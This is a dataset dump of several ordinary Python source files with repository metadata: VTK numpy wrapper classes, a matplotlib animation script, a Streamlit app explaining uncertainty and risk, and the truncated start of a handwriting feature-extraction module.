name)\r\n\r\nclass MultiCompositeDataIterator(CompositeDataIterator):\r\n    \"\"\"Iterator that can be used to iterate over multiple\r\n    composite datasets together. This iterator works only\r\n    with arrays that were copied from an original using\r\n    CopyStructured. The most common use case is to use\r\n    CopyStructure, then iterate over input and output together\r\n    while creating output datasets from corresponding input\r\n    datasets.\"\"\"\r\n    def __init__(self, cds):\r\n        CompositeDataIterator.__init__(self, cds[0])\r\n        self.Datasets = cds\r\n\r\n    def __next__(self):\r\n        if not self.Iterator:\r\n            raise StopIteration\r\n\r\n        if self.Iterator.IsDoneWithTraversal():\r\n            raise StopIteration\r\n        retVal = []\r\n        retVal.append(WrapDataObject(self.Iterator.GetCurrentDataObject()))\r\n        if len(self.Datasets) > 1:\r\n            for cd in self.Datasets[1:]:\r\n                retVal.append(WrapDataObject(cd.GetDataSet(self.Iterator)))\r\n        self.Iterator.GoToNextItem()\r\n        return retVal\r\n\r\n    def next(self):\r\n        return self.__next__()\r\n\r\nclass DataObject(VTKObjectWrapper):\r\n    \"\"\"A wrapper for vtkDataObject that makes it easier to access FielData\r\n    arrays as VTKArrays\r\n    \"\"\"\r\n\r\n    def GetAttributes(self, type):\r\n        \"\"\"Returns the attributes specified by the type as a DataSetAttributes\r\n         instance.\"\"\"\r\n        if type == ArrayAssociation.FIELD:\r\n            return DataSetAttributes(self.VTKObject.GetFieldData(), self, type)\r\n        return DataSetAttributes(self.VTKObject.GetAttributes(type), self, type)\r\n\r\n    def GetFieldData(self):\r\n        \"Returns the field data as a DataSetAttributes instance.\"\r\n        return DataSetAttributes(self.VTKObject.GetFieldData(), self, ArrayAssociation.FIELD)\r\n\r\n    FieldData = property(GetFieldData, None, None, \"This property returns the field data of a data object.\")\r\n\r\nclass Table(DataObject):\r\n    \"\"\"A wrapper for vtkFielData that makes it easier to access RowData array as\r\n    VTKArrays\r\n    \"\"\"\r\n    def GetRowData(self):\r\n        \"Returns the row data as a DataSetAttributes instance.\"\r\n        return self.GetAttributes(ArrayAssociation.ROW)\r\n\r\n    RowData = property(GetRowData, None, None, \"This property returns the row data of the table.\")\r\n\r\nclass CompositeDataSet(DataObject):\r\n    \"\"\"A wrapper for vtkCompositeData and subclasses that makes it easier\r\n    to access Point/Cell/Field data as VTKCompositeDataArrays. It also\r\n    provides a Python type iterator.\"\"\"\r\n\r\n    def __init__(self, vtkobject):\r\n        DataObject.__init__(self, vtkobject)\r\n        self._PointData = None\r\n        self._CellData = None\r\n        self._FieldData = None\r\n        self._Points = None\r\n\r\n    def __iter__(self):\r\n        \"Creates an iterator for the contained datasets.\"\r\n        return CompositeDataIterator(self)\r\n\r\n    def GetNumberOfElements(self, assoc):\r\n        \"\"\"Returns the total number of cells or points depending\r\n        on the value of assoc which can be ArrayAssociation.POINT or\r\n        ArrayAssociation.CELL.\"\"\"\r\n        result = 0\r\n        for dataset in self:\r\n            result += dataset.GetNumberOfElements(assoc)\r\n        return int(result)\r\n\r\n    def GetNumberOfPoints(self):\r\n        \"\"\"Returns the total number of points of all datasets\r\n        in the composite dataset. Note that this traverses the\r\n        whole composite dataset every time and should not be\r\n        called repeatedly for large composite datasets.\"\"\"\r\n        return self.GetNumberOfElements(ArrayAssociation.POINT)\r\n\r\n    def GetNumberOfCells(self):\r\n        \"\"\"Returns the total number of cells of all datasets\r\n        in the composite dataset. Note that this traverses the\r\n        whole composite dataset every time and should not be\r\n        called repeatedly for large composite datasets.\"\"\"\r\n        return self.GetNumberOfElements(ArrayAssociation.CELL)\r\n\r\n    def GetAttributes(self, type):\r\n        \"\"\"Returns the attributes specified by the type as a\r\n        CompositeDataSetAttributes instance.\"\"\"\r\n        return CompositeDataSetAttributes(self, type)\r\n\r\n    def GetPointData(self):\r\n        \"Returns the point data as a DataSetAttributes instance.\"\r\n        if self._PointData is None or self._PointData() is None:\r\n            pdata = self.GetAttributes(ArrayAssociation.POINT)\r\n            self._PointData = weakref.ref(pdata)\r\n        return self._PointData()\r\n\r\n    def GetCellData(self):\r\n        \"Returns the cell data as a DataSetAttributes instance.\"\r\n        if self._CellData is None or self._CellData() is None:\r\n            cdata = self.GetAttributes(ArrayAssociation.CELL)\r\n            self._CellData = weakref.ref(cdata)\r\n        return self._CellData()\r\n\r\n    def GetFieldData(self):\r\n        \"Returns the field data as a DataSetAttributes instance.\"\r\n        if self._FieldData is None or self._FieldData() is None:\r\n            fdata = self.GetAttributes(ArrayAssociation.FIELD)\r\n            self._FieldData = weakref.ref(fdata)\r\n        return self._FieldData()\r\n\r\n    def GetPoints(self):\r\n        \"Returns the points as a VTKCompositeDataArray instance.\"\r\n        if self._Points is None or self._Points() is None:\r\n            pts = []\r\n            for ds in self:\r\n                try:\r\n                    _pts = ds.Points\r\n                except AttributeError:\r\n                    _pts = None\r\n\r\n                if _pts is None:\r\n                    pts.append(NoneArray)\r\n                else:\r\n                    pts.append(_pts)\r\n            if len(pts) == 0 or all([a is NoneArray for a in pts]):\r\n                cpts = NoneArray\r\n            else:\r\n                cpts = VTKCompositeDataArray(pts, dataset=self)\r\n            self._Points = weakref.ref(cpts)\r\n        return self._Points()\r\n\r\n    PointData = property(GetPointData, None, None, \"This property returns the point data of the dataset.\")\r\n    CellData = property(GetCellData, None, None, \"This property returns the cell data of a dataset.\")\r\n    FieldData = property(GetFieldData, None, None, \"This property returns the field data of a dataset.\")\r\n    Points = property(GetPoints, None, None, \"This property returns the points of the dataset.\")\r\n\r\nclass DataSet(DataObject):\r\n    \"\"\"This is a python friendly wrapper of a vtkDataSet that defines\r\n    a few useful properties.\"\"\"\r\n\r\n    def GetPointData(self):\r\n        \"Returns the point data as a DataSetAttributes instance.\"\r\n        return self.GetAttributes(ArrayAssociation.POINT)\r\n\r\n    def GetCellData(self):\r\n        \"Returns the cell data as a DataSetAttributes instance.\"\r\n        return self.GetAttributes(ArrayAssociation.CELL)\r\n\r\n    PointData = property(GetPointData, None, None, \"This property returns the point data of the dataset.\")\r\n    CellData = property(GetCellData, None, None, \"This property returns the cell data of a dataset.\")\r\n\r\nclass PointSet(DataSet):\r\n    \"\"\"This is a python friendly wrapper of a vtkPointSet that defines\r\n    a few useful properties.\"\"\"\r\n    def GetPoints(self):\r\n        \"\"\"Returns the points as a VTKArray instance. Returns None if the\r\n        dataset has implicit points.\"\"\"\r\n        if not self.VTKObject.GetPoints():\r\n            return None\r\n        return vtkDataArrayToVTKArray(\r\n            self.VTKObject.GetPoints().GetData(), self)\r\n\r\n    def SetPoints(self, pts):\r\n        \"\"\"Given a VTKArray instance, sets the points of the dataset.\"\"\"\r\n        from vtk.vtkCommonCore import vtkPoints\r\n        if isinstance(pts, vtkPoints):\r\n            p = pts\r\n        else:\r\n            pts = numpyTovtkDataArray(pts)\r\n            p = vtkPoints()\r\n            p.SetData(pts)\r\n        self.VTKObject.SetPoints(p)\r\n\r\n    Points = property(GetPoints, SetPoints, None, \"This property returns the point coordinates of dataset.\")\r\n\r\nclass PolyData(PointSet):\r\n    \"\"\"This is a python friendly wrapper of a vtkPolyData that defines\r\n    a few useful properties.\"\"\"\r\n\r\n    def GetPolygons(self):\r\n        \"\"\"Returns the polys as a VTKArray instance.\"\"\"\r\n        if not self.VTKObject.GetPolys():\r\n            return None\r\n        return vtkDataArrayToVTKArray(\r\n            self.VTKObject.GetPolys().GetData(), self)\r\n\r\n    Polygons = property(GetPolygons, None, None, \"This property returns the connectivity of polygons.\")\r\n\r\nclass UnstructuredGrid(PointSet):\r\n    \"\"\"This is a python friendly wrapper of a vtkUnstructuredGrid that defines\r\n    a few useful properties.\"\"\"\r\n\r\n    def GetCellTypes(self):\r\n        \"\"\"Returns the cell types as a VTKArray instance.\"\"\"\r\n        if not self.VTKObject.GetCellTypesArray():\r\n            return None\r\n        return vtkDataArrayToVTKArray(\r\n            self.VTKObject.GetCellTypesArray(), self)\r\n\r\n    def GetCellLocations(self):\r\n        \"\"\"Returns the cell locations as a VTKArray instance.\"\"\"\r\n        if not self.VTKObject.GetCellLocationsArray():\r\n            return None\r\n        return vtkDataArrayToVTKArray(\r\n            self.VTKObject.GetCellLocationsArray(), self)\r\n\r\n    def GetCells(self):\r\n        \"\"\"Returns the cells as a VTKArray instance.\"\"\"\r\n        if not self.VTKObject.GetCells():\r\n            return None\r\n        return vtkDataArrayToVTKArray(\r\n            self.VTKObject.GetCells().GetData(), self)\r\n\r\n    def SetCells(self, cellTypes, cellLocations, cells):\r\n        \"\"\"Given cellTypes, cellLocations, cells as VTKArrays,\r\n        populates the unstructured grid data structures.\"\"\"\r\n        from vtk import VTK_ID_TYPE\r\n        from vtk.vtkCommonDataModel import vtkCellArray\r\n        cellTypes = numpyTovtkDataArray(cellTypes)\r\n        cellLocations = numpyTovtkDataArray(cellLocations, array_type=VTK_ID_TYPE)\r\n        cells = numpyTovtkDataArray(cells, array_type=VTK_ID_TYPE)\r\n        ca = vtkCellArray()\r\n        ca.SetCells(cellTypes.GetNumberOfTuples(), cells)\r\n        self.VTKObject.SetCells(cellTypes, cellLocations, ca)\r\n\r\n    CellTypes = property(GetCellTypes, None, None, \"This property returns the types of cells.\")\r\n    CellLocations = property(GetCellLocations, None, None, \"This property returns the locations of cells.\")\r\n    Cells = property(GetCells, None, None, \"This property returns the connectivity of cells.\")\r\n\r\ndef WrapDataObject(ds):\r\n    \"\"\"Returns a Numpy friendly wrapper of a vtkDataObject.\"\"\"\r\n    if ds.IsA(\"vtkPolyData\"):\r\n        return PolyData(ds)\r\n    elif ds.IsA(\"vtkUnstructuredGrid\"):\r\n        return UnstructuredGrid(ds)\r\n    elif ds.IsA(\"vtkPointSet\"):\r\n        return PointSet(ds)\r\n    elif ds.IsA(\"vtkDataSet\"):\r\n        return DataSet(ds)\r\n    elif ds.IsA(\"vtkCompositeDataSet\"):\r\n        return CompositeDataSet(ds)\r\n    elif ds.IsA(\"vtkTable\"):\r\n        return Table(ds)\r\n", "meta": {"hexsha": "0ac1f2cf6d646881c59d08aaf238637c7a324939", "size": 42559, "ext": "py", "lang": "Python", "max_stars_repo_path": "VTK/vtk_7.1.1_x64_Release/lib/python2.7/site-packages/vtk/numpy_interface/dataset_adapter.py", "max_stars_repo_name": "jiaguobing/FastCAE", "max_stars_repo_head_hexsha": "2348ab87e83fe5c704e4c998cf391229c25ac5d5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2019-05-30T01:52:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-29T21:12:13.000Z", "max_issues_repo_path": "VTK/vtk_7.1.1_x64_Release/lib/python2.7/site-packages/vtk/numpy_interface/dataset_adapter.py", "max_issues_repo_name": "Sunqia/FastCAE", "max_issues_repo_head_hexsha": "cbc023fe07b6e306ceefae8b8bd7c12bc1562acb", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-03-06T04:49:42.000Z", "max_issues_repo_issues_event_max_datetime": "2020-03-06T04:49:42.000Z", "max_forks_repo_path": "VTK/vtk_7.1.1_x64_Release/lib/python2.7/site-packages/vtk/numpy_interface/dataset_adapter.py", "max_forks_repo_name": "Sunqia/FastCAE", "max_forks_repo_head_hexsha": "cbc023fe07b6e306ceefae8b8bd7c12bc1562acb", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-08-30T23:36:13.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-08T16:52:01.000Z", "avg_line_length": 39.6266294227, "max_line_length": 109, "alphanum_fraction": 0.6272468808, "include": true, "reason": "import numpy", "num_tokens": 9415, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11596070756094144, "lm_q1q2_score": 0.055264513546490444}}
{"text": "# script to create an animated plot from a simulation\n\n# import data\n\n# import packages\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\n\n# +\n# input \n\n# data from a .txt file\nfile_data = \"sin_expdecay.txt\"\n\n#set title and legth of the movie\ntitle_movie = 'example3_20s_5dpi'\nlength_movie = 20 # in seconds\n\nn_datapoint_per_interval = 5\n\n# Decorate the plot\nX_label = 'time [s]'\nY_label = 'Signal'\nplot_title = 'Best plot ever!'\n\n\n# +\n\ndef video_generator(file_data, X_label, Y_label, plot_title, movie_title, movie_length, n_datapoint_per_interval=1):\n    \"\"\"Create a video animation from a data set\n    \n    The video is saved in a .mp4 file in the same folder\n    \n    Parameters\n    ----------\n    file_data : .txt file \n                file containing the data to plot, in the format of a np.array([x, y])\n    X_label : str\n              label of X axis\n    Y_label : str\n              label of y axis\n    plot_title : str\n                 title of the plot\n    movie_title : str\n                  name to give to the .mp4 file when saved\n    movie_length : int\n                   duration in seconds of the movie\n    n_datapoint_per interval: int, optional \n                              number of datapoints taken in each frame (default=1)\n                              if n_datapoint_per interval = 1 : it takes as number of frames as the number of datapoints\n                              if n_datapoint_per interval > 1 : there will be less frames, \n                                                                the video will be less smooth \n                                                                but it will take less time to create it\n    \"\"\"\n    # load data\n    [X,Y] = np.loadtxt(file_data)\n\n    # set number of frames for creating the plot\n    X_length = len(X)\n    X_interval = X_length // n_datapoint_per_interval\n\n    # set limits of the plot\n    X_start = X[0]\n    X_stop = X[-1]\n    Y_gap = (np.amax(Y) - np.amin(Y)) * 0.1\n    Y_start = np.amin(Y) - Y_gap\n    Y_stop = np.amax(Y) + Y_gap\n\n\n    # print(X_length, n_datapoint_per_interval, X_interval)\n\n    # code with animation function of matplotlib\n\n    # First set up the figure, the axis, and the plot element we want to animate\n    fig = plt.figure()\n    ax = plt.axes(xlim=(X_start, X_stop), ylim=(Y_start, Y_stop))\n    ax.set_xlabel(X_label)\n    ax.set_ylabel(Y_label)\n    ax.set_title(plot_title)\n    line, = ax.plot([], [], lw=2)\n\n    # set movie_title\n    title_movie = movie_title + '.mp4'\n\n    # frames per second\n    frames_per_seconds = (X_interval+1) // movie_length  \n\n    # initialization function: plot the background of each frame\n    def init():\n        line.set_data([], [])\n        return line,\n\n    # animation function.  This is called sequentially\n    def animate(i):\n        line.set_data(X[0:i*n_datapoint_per_interval], Y[0:i*n_datapoint_per_interval])\n        return line,\n\n    # call the animator.  blit=True means only re-draw the parts that have changed.\n    anim = animation.FuncAnimation(fig, animate, init_func=init,\n                                   frames=X_interval+1, interval=200, blit=True)\n\n\n    # save the animation as an mp4.  This requires ffmpeg or mencoder to be\n    # installed.  The extra_args ensure that the x264 codec is used, so that\n    # the video can be embedded in html5.  You may need to adjust this for\n    # your system: for more information, see\n    # http://matplotlib.sourceforge.net/api/animation_api.html\n    anim.save(title_movie, fps=frames_per_seconds, extra_args=['-vcodec', 'libx264'])\n    # fps: frames per second in the movie \n    #      --> the higher the number of fps, the faster will be animation in the movie\n    #       es. if frames = 1000 in FuncAnimation and fps = 100: the movie will last 10 seconds\n\n    plt.show()\n# -\nvideo_generator(file_data, X_label, Y_label, plot_title, title_movie, length_movie, n_datapoint_per_interval)\n\n\n", "meta": {"hexsha": "08dc5840bc3703ba41eb0e6af551d8066faeb614", "size": 3931, "ext": "py", "lang": "Python", "max_stars_repo_path": "video_generator_script.py", "max_stars_repo_name": "AndreaCoop/Video_creator", "max_stars_repo_head_hexsha": "2518a3527bff013466e887f6d1bc06fe2a8e4912", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "video_generator_script.py", "max_issues_repo_name": "AndreaCoop/Video_creator", "max_issues_repo_head_hexsha": "2518a3527bff013466e887f6d1bc06fe2a8e4912", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "video_generator_script.py", "max_forks_repo_name": "AndreaCoop/Video_creator", "max_forks_repo_head_hexsha": "2518a3527bff013466e887f6d1bc06fe2a8e4912", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0336134454, "max_line_length": 120, "alphanum_fraction": 0.6324090562, "include": true, "reason": "import numpy", "num_tokens": 967, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.12085323407368521, "lm_q1q2_score": 0.05524645064242918}}
{"text": "from typing import Tuple, List\n\nimport streamlit as st\nimport plotly.graph_objects as go\nimport plotly.express as px\nfrom plotly.express.colors import unlabel_rgb, label_rgb, n_colors, sequential\nimport numpy as np\nfrom scipy.stats import norm\n\nfrom ruins.core import Config, build_config, debug_view\nfrom ruins.plotting import distribution_plot\n\n_TRANSLATE_EN = dict(\n    title='Uncertainty & Risk',\n    introduction=\"\"\"\nThis first playground app will illustrate how uncertainty and risk influence our everyday decisions.\nIt is quite important to understand the difference between [knightian uncertaintry](https://en.wikipedia.org/wiki/Knightian_uncertainty)\nand risk at this simplified example, before we move to climate modeling and weather data.\nTaking the whole earth system into account, these concepts apply and are of high importance,\nbut their interpretration is way more complicated.\n\nDESCRIPTION OF THE SIMPLIFIED EXAMPLE\n    \"\"\",\n    event_1_desc=\"\"\"\nThe first event has two possible outcomes, from which we know their expected return distributions,\nbut we lack knowledge about the probabilities of occurence. Use the slider below to adjust their \nmean outcome and the deviations from this mean.\n\"\"\",\n    event_2_desc=\"\"\"\nIn the first event, there was an uncalculatable uncertainty, as we can't predict the outcome. Instead of\nthrow the dice every time and risk being way off in terms of return, we can take a save route and make\nan active decision for another event. The second event has only one outcome, from which we know that the\nexpected return is worse than the better outcome of the first event. \nWe trade off the posibility of very positive outcome at the cost of not being trapped into very bad outcomes.\n\nBut is that worth it?\n\"\"\"\n)\n\n_TRANSLATE_DE = dict(\n    title='Unsicherheit und Risiko',\n    introduction=\"\"\"\nDieses erste, vereinfachte Beispiel demonstriert wie sich Unsicherheit und Risiko auf\nunsere allt\u00e4glichen Entscheidungen auswirkt. Es ist wichtig den Unterschied zwischen \n[Knightsche Unsicherheit](https://de.wikipedia.org/wiki/Knightsche_Unsicherheit) anhand dieses stark vereinfachten\nBeispiels zu erkunden und zu verstehen, bevor wir die Modelle und Daten der letzten Kapitel betrachten.\nBetrachtet man das gesamte Erdsystem, sind Unsicherheit und Risiko f\u00fcr die Interpretierbarkeit der Daten\nvon fundamentaler Bedeutng, stellen sich jedoch in wesentlich komplexeren Zusammenh\u00e4ngen dar.\n\nBESCHREIBUNG DES VEREINFACHTEN BEISPIELS\n\"\"\",\n    event_1_desc=\"\"\"\nDas erste Ereignis hat zwei verschiedene Ergebnisse. F\u00fcr jedes kennen wir die drchschnittliche Erwartung und deren\nVerteilung, allerdings haben wir keine Information \u00fcber die Wahrscheinlichkeit, dass eines der Ergebnisse eintritt.\nBenutze die Schieberegler um die Verteilungen der Ergebnisse anzupassen.\n\"\"\",\n    event_2_desc=\"\"\"\nIm ersten Ereignis mussten wir mit einer unbestimmbaren Unsicherheit umgehen, da wir das Ergebnis nicht vorhersagen konnten.\nAnstatt hier die W\u00fcrfel entscheiden zu lassen und ein schlechtes Ergebnis zu riskieren, k\u00f6nnen wir uns g\u00e4nzlich\numentscheiden und Ereignis 2 eintreten lassen, das nur ein einziges Ergebnis hat. Allerdings ist das Ergebnis hier\nschlechter als der bessere Ausgang des ersten Erignisses. Wir erkaufen uns die Sicherheit keine sehr schlechten Ergbnisse\nzu haben damit, dass wir auch auf sehr positive Ergebnisse verzichten.\n\nAber lohnt sich das?\n\"\"\"\n)\n\ndef concept_explainer(config: Config, **kwargs):\n    \"\"\"Show an explanation, if it was not already shown.\n    \"\"\"\n    # check if we saw the explainer already\n    if config.has_key('uncertainty_playground_explainer'):\n        return\n    \n    # get the container and a translation function\n    container = kwargs['container'] if 'container' in kwargs else st\n    t = config.translator(en=_TRANSLATE_EN, de=_TRANSLATE_DE)\n\n    # place title and intro\n    container.title(t('title'))\n    container.markdown(t('introduction'), unsafe_allow_html=True)\n\n    # check if the user wants to continue\n    accept = container.button('WEITER' if config.lang == 'de' else 'CONTINUE')\n    if accept:\n        st.session_state.uncertainty_playground_explainer = True\n        st.experimental_rerun()\n    else:\n        st.stop()\n\n\ndef _helper_plot(ev1: List[Tuple[float, float]], ev2: Tuple[float, float] = None, **kwargs) -> go.Figure:\n    # create figure\n    fig = go.Figure()\n\n    # build the colorscale with enough colors\n    cscale = getattr(sequential, kwargs.get('colorscale', 'Greens'))\n    cmap = n_colors(unlabel_rgb(cscale[-1]), unlabel_rgb(cscale[-3]), len(ev1))\n\n    # get a common x\n    x = np.linspace(0, 10, 200)\n\n    # iterate over all outcomes\n    for i,outcome in enumerate(ev1):\n        mu, std = outcome\n        y = norm.pdf(x, loc=mu, scale=std)\n        y_sum = y.sum()\n        y /= y_sum\n\n        # add the traces\n        fig.add_trace(\n            go.Scatter(x=x, y=y * 100, mode='lines', line=dict(color=label_rgb(cmap[i])), name=f'Outcome #{i + 1}', fill='tozerox')\n        )\n        fig.add_trace(\n            go.Scatter(x=[mu, mu], y=[0, norm.pdf(mu, loc=mu, scale=std) / y_sum * 100], mode='lines', line=dict(color=label_rgb(cmap[i]), width=3, dash='dash'), name=f'Mean #{i + 1}')\n        )\n    \n    # handle second event\n    if ev2 is not None:\n        mu, std = ev2\n        y = norm.pdf(x, loc=mu, scale=std)\n        y_sum = y.sum()\n        y /= y_sum\n        \n        # add distribution\n        fig.add_trace(\n            go.Scatter(x=x, y=y * 100, mode='lines', line=dict(color='orange', width=2), name='Alternative Event', fill='tozerox')\n        )\n        # add mean\n        fig.add_trace(\n            go.Scatter(x=[mu, mu], y=[0, norm.pdf(mu, loc=mu, scale=std) / y_sum * 100], mode='lines', line=dict(color='orange', width=2, dash='dash'), name='Alternative Event mean value')\n        )\n\n    # adjust figure\n    fig.update_layout(\n        template='plotly_white',\n        legend=dict(orientation='h')\n    )\n\n    return fig\n\n\ndef concept_graph(config: Config, expander_container=st.sidebar, **kwargs) -> go.Figure:\n    \"\"\"\n    # TODO: document this\n    \"\"\"\n    # get the container and translator\n    container = kwargs['container'] if 'container' in kwargs else st\n    t = config.translator(de=_TRANSLATE_DE, en=_TRANSLATE_EN)\n\n    # ------------------------\n    # First PDF\n    if not config.has_key('concept_event_1'):\n        container.markdown(t('event_1_desc'))\n        l1, c1, r1 = container.columns(3)\n        l2, c2, r2 = container.columns(3)\n\n        # outcome 1\n        l1.markdown('### Outcome 1')\n        ou1_mu = c1.slider('Expected value of outcome #1', min_value=1., max_value=10., value=2.5)\n        ou1_st = r1.slider('Certainty of outcome #1', min_value=0.1, max_value=3.0, value=0.5)\n        \n        # outcome 2\n        l2.markdown('### Outcome 2')\n        ou2_mu = c2.slider('Expected value of outcome #2', min_value=1., max_value=10., value=6.0)\n        ou2_st = r2.slider('Certainty of outcome #2', min_value=0.1, max_value=3.0, value=0.4)\n\n        ev1 = [(ou1_mu, ou1_st), (ou2_mu, ou2_st)]\n        # add the continue button\n        ev1_ok = container.button('WEITER' if config.lang=='de' else 'CONTINUE')\n        if ev1_ok:\n            st.session_state.concept_event_1 = ev1\n            st.experimental_rerun()\n        else:\n            fig = distribution_plot({'outcomes': ev1, 'coloscale': 'Greens'})\n            return fig\n    else:\n        ev1 = config['concept_event_1']\n        ev1_new = []\n        for i, out in enumerate(ev1):\n            e = expander_container.expander(f'Outcome #{i + 1}', expanded=True)\n            mu = e.slider(f'Expected value of outcome # {i + 1}', min_value=1., max_value=10., value=out[0])\n            std = e.slider(f'Certainty of outcome # {i + 1}', min_value=0.1, max_value=2.0, value=out[1])\n            ev1_new.append((mu, std, ))\n\n    # ------------------------\n    # add second event\n    container.markdown(t('event_2_desc'))\n    l, c, r = container.columns(3)\n\n    # second event\n    l.markdown('### Second event')\n    e2_mu = c.slider('Expected value of alternative event', min_value=1., max_value=10., value=5.5)\n    e2_st = r.slider('Certainty of alternative event', min_value=0.1, max_value=3.0, value=0.2)\n\n    fig = distribution_plot({'outcomes': ev1_new, 'name': 'Original Event', 'colorscale': 'Greens'}, {'outcomes': [(e2_mu, e2_st)], 'name': 'Alternative Event', 'colorscale': 'Oranges'})\n    return fig\n\n\n\n\ndef concept_playground(config: Config) -> None:\n    \"\"\"\n    The concept playground demonstrates how knightian uncertainty\n    is different from risk and how it influences everyday decisions.\n    \"\"\"\n    # TODO: add the story mode stuff here\n\n    # explainer\n    concept_explainer(config)\n\n    # show the graph\n    \n    fig = concept_graph(config)\n    plot_area = st.empty()\n    plot_area.plotly_chart(fig, use_container_width=True)\n\n\ndef main_app(**kwargs):\n    \"\"\"\n    \"\"\"\n    # build the config and the dataManager from kwargs\n    url_params = st.experimental_get_query_params()\n    config, dataManager = build_config(url_params=url_params, **kwargs)\n\n    # set page config and debug view\n    st.set_page_config(page_title='Uncertainty Explorer', layout=config.layout)\n    debug_view.debug_view(dataManager, config, debug_name='Initial Application State')\n\n    # --------------------------\n    # Main App\n\n    # TODO: right now, we have only the playground here\n    concept_playground(config)\n\n\n\nif __name__ == '__main__':\n    main_app()\n", "meta": {"hexsha": "de355c63e1c6c60144b68ba0a070d513b5f25289", "size": 9439, "ext": "py", "lang": "Python", "max_stars_repo_path": "ruins/apps/uncertainty.py", "max_stars_repo_name": "hydrocode-de/RUINSapp", "max_stars_repo_head_hexsha": "2dd0f8b0b0ed04e95ef2ace9154414b1f83a89dc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-02-28T15:07:16.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T15:31:26.000Z", "max_issues_repo_path": "ruins/apps/uncertainty.py", "max_issues_repo_name": "hydrocode-de/RUINSapp", "max_issues_repo_head_hexsha": "2dd0f8b0b0ed04e95ef2ace9154414b1f83a89dc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 45, "max_issues_repo_issues_event_min_datetime": "2022-02-18T11:23:21.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T09:16:20.000Z", "max_forks_repo_path": "ruins/apps/uncertainty.py", "max_forks_repo_name": "hydrocode-de/RUINSapp", "max_forks_repo_head_hexsha": "2dd0f8b0b0ed04e95ef2ace9154414b1f83a89dc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3291666667, "max_line_length": 188, "alphanum_fraction": 0.6843945333, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2435, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713673161914675, "lm_q2_score": 0.12085322457439825, "lm_q1q2_score": 0.05524644808757516}}
{"text": "\"\"\"\nFeature extraction algorithms.\n\nEach algorithm works on the HandwrittenData class. They have to be applied like\nthis:\n\n>>> import hwrt.features\n>>> from hwrt.handwritten_data import HandwrittenData\n>>> data_json = '[[{\"time\": 123, \"x\": 45, \"y\": 67}]]'\n>>> a = HandwrittenData(raw_data_id=2953, raw_data_json=data_json)\n>>> feature_list = [StrokeCount(),\n...                 ConstantPointCoordinates(strokes=4,\n...                                          points_per_stroke=20,\n...                                          fill_empty_with=0)]\n>>> x = a.feature_extraction(feature_list)\n\"\"\"\n\n# Core Library modules\nimport abc\nimport logging\nimport sys\nfrom itertools import combinations_with_replacement as combinations_wr\nfrom typing import Any, Dict, List\n\n# Third party modules\nimport numpy\nfrom PIL import Image, ImageDraw\n\n# Local modules\nfrom . import geometry, handwritten_data, preprocessing, utils\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_features(model_description_features: List[Dict[str, Any]]):\n    \"\"\"Get features from a list of dictionaries\n\n    Parameters\n    ----------\n    model_description_features : List[Dict[str, Any]]\n\n    Examples\n    --------\n    >>> l = [{'StrokeCount': None}, \\\n             {'ConstantPointCoordinates': \\\n              [{'strokes': 4}, \\\n               {'points_per_stroke': 81}, \\\n               {'fill_empty_with': 0}, \\\n               {'pen_down': False}] \\\n             } \\\n            ]\n    >>> get_features(l)\n    [StrokeCount, ConstantPointCoordinates\n     - strokes: 4\n     - points per stroke: 81\n     - fill empty with: 0\n     - pen down feature: False\n     - pixel_env: 0\n    ]\n    \"\"\"\n    return utils.get_objectlist(\n        model_description_features, config_key=\"features\", module=sys.modules[__name__]\n    )\n\n\ndef print_featurelist(feature_list: List):\n    \"\"\"\n    Print the feature_list in a human-readable form.\n\n    Parameters\n    ----------\n    feature_list : List\n        feature objects\n    \"\"\"\n    input_features = sum(n.get_dimension() for n in feature_list)\n    print(\"## Features (%i)\" % input_features)\n    print(\"```\")\n    for algorithm in feature_list:\n        print(\"* %s\" % str(algorithm))\n    print(\"```\")\n\n\nclass Feature(metaclass=abc.ABCMeta):\n\n    \"\"\"Abstract class which defines which methods to implement for features.\"\"\"\n\n    @abc.abstractmethod\n    def __call__(self, hwr_obj):\n        \"\"\"Get the features value for a given recording ``hwr_obj``.\"\"\"\n        assert isinstance(\n            hwr_obj, handwritten_data.HandwrittenData\n        ), \"handwritten data is not of type HandwrittenData, but of %r\" % type(hwr_obj)\n\n    @abc.abstractmethod\n    def get_dimension(self):\n        \"\"\"Return the length of the list which __call__ will return.\"\"\"\n\n\n# Only feature calculation classes follow\n\n# Every feature class must have a __str__, __repr__ function so that error\n# messages can help you to find and fix bugs in features.\n# Every feature class must have a __call__ function which is used to get the\n# features value(s) for a given recording.\n# Every feature class must have a get_dimension function so that the total\n# number of features can be calculated and checked for consistency.\n#\n# * __call__ must take exactly one argument of type HandwrittenData\n# * __call__ must return a list of length get_dimension()\n# * get_dimension must return a positive number\n# * have a 'normalize' attribute that is either True or 